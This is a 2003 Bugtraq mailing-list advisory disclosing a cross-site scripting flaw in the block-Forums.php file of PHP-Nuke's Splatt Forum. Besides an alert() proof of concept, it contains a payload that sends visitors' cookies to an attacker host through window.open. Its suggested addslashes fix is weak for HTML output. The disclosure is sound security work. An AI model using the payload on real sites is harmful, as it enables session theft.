[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    PHP-Nuke block-Forums.php subject vulnerabilities
From:       <lethalman () libero ! it>
Date:       2003-03-31 11:15:54
[Download RAW message or body]



The block-Forums.php file have a vuln if an attacker
insert a malformatted subject to a topic of Splatt
Forum. A type of subject is:

">&lt;script&gt;alert('bug'");&lt;/script&gt;

The 'alt' tag is closed by "> and the other text is
normal html. This bug is very bad if a subject is:

">&lt;script&gt;window.open('www.attacker.com/prova.php?cookie='+document.cookie);&lt;/script&gt;

And prova.php register cokkies in a file.

The solution:

Add under "$title2 = stripslashes($title2);" line, this
line:
"$title2 = addslashes($title2);"

And now, backward any " there is a backslash!
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic